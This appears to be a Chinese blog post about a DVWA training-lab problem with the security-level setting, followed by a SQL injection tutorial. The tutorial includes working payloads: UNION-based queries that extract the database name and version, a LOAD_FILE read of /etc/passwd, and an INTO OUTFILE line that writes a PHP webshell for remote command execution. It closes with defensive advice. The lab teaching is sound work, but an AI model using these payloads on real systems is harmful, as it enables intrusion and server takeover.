dvwa中SQL注入遇到的网站安全等级问题

文章讲述了在网站设置为低安全等级时,由于存在SQL注入漏洞,用户提交的1会被误识别为SQL语句。解决方法是删除安全级别中的某个值,将安全等级降低,消除token,同时提及通过修改服务器文件将默认安全设置改为low来防止漏洞利用。

当设置网站安全等级为low后,网站居然存在token并且提交的1'无法被判定为是SQL语句

当抓包后发现居然发现security有两个值

于是把第一个删了就可以将安全等级降为low从而token值无效没了用处

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
错误信息提示了在的SQL语句中存在一个未被识别的语法部分,是由于不正确的引号使用导致的问题。这种错误通常会阻止数据库执行查询或操作,因它无法识别或解释输入的SQL语句。所以说这里把用户输入的内容直接拼接到了SQL语句中,存在SQL注入漏洞。


补充:后来发现这个无论怎么提交security的变化网页显示还是impossible

索性将服务器文件改一下把default改为low(根据实际需求)

这样就算网页显示为impossible但实际上是low,token不见了。

### 3.2 DVWA 中的 SQL 注入测试与实践指南 DVWA(Damn Vulnerable Web Application)是一个专为安全研究人员和渗透测试人员设计的易受攻击的 Web 应用程序,常用于学习和练习 Web 安全漏洞的检测与利用方法。其中,SQL 注入SQL Injection)是其核心模块之一,可用于理解并实践 SQLi 攻击的基本原理和技术手段。 #### 3.2.1 设置与访问 DVWA 环境 在开始之前,需确保本地或远程环境中已部署好 DVWA。通常可使用 XAMPP 或 LAMP 套件进行部署,并通过浏览器访问 `http://localhost/dvwa` 登录界面。首次运行时需点击“Create / Reset Database”按钮初始化数据库结构。 进入设置页面后,将安全等级(Security Level)调整为 `low`,以便于进行 SQL 注入测试。此模式下未对输入做任何过滤或转义处理,便于初学者观察攻击流程[^1]。 #### 3.2.2 SQL 注入基础测试流程 以 DVWA 的“SQL Injection”页面为例,用户可通过输入用户名来查询对应的用户信息。攻击者可以尝试注入恶意字符串以绕过逻辑判断或读取敏感数据。 ##### 示例:获取当前数据库名称 ```sql ' UNION SELECT NULL, database() -- - ``` 该语句利用了 `UNION SELECT` 将原始查询结果与注入内容合并输出,并借助注释符 `-- -` 忽略后续可能存在的代码片段。若应用未对输入进行有效校验,则会返回当前数据库名。 ##### 示例:获取数据库版本信息 ```sql ' UNION SELECT NULL, version() -- - ``` 该命令可获取 MySQL 版本信息,有助于进一步判断目标环境是否支持特定功能,如 `LOAD_FILE()`、`INTO OUTFILE` 等高危函数。 #### 3.2.3 利用 SQL 注入读取服务器文件 若 MySQL 配置中启用了 `local_infile` 功能,攻击者可尝试通过 `LOAD DATA INFILE` 或 `LOAD_FILE()` 函数读取服务器上的文件内容。例如: ```sql ' UNION SELECT NULL, LOAD_FILE('/etc/passwd') -- - ``` 此操作可读取服务器上的敏感配置文件(如 `/etc/passwd`),前提是当前数据库用户具有相应权限且文件路径存在。需要注意的是,此类行为属于非法入侵活动,在真实网络环境中实施前必须获得授权。 #### 3.2.4 利用 SQL 注入写入 WebShell 当具备写入权限时,可尝试将 PHP 代码写入 Web 目录,从而实现远程代码执行。例如: ```sql ' UNION SELECT NULL, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' -- - ``` 成功执行后,可通过访问 `http://target/shell.php?cmd=id` 执行任意系统命令。此类攻击方式危害极大,应在可控实验环境中进行测试。 #### 3.2.5 防御建议与最佳实践 - **参数化查询**:使用预编译语句(Prepared Statement)替代字符串拼接,从根本上防止 SQL 注入。 - **最小权限原则**:限制数据库用户的权限,避免授予必要的文件读写权限。 - **输入验证与过滤**:对所有用户输入进行严格校验,拒绝非法字符组合。 - **错误信息控制**:关闭详细错误输出,防止攻击者通过报错信息推测内部结构。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值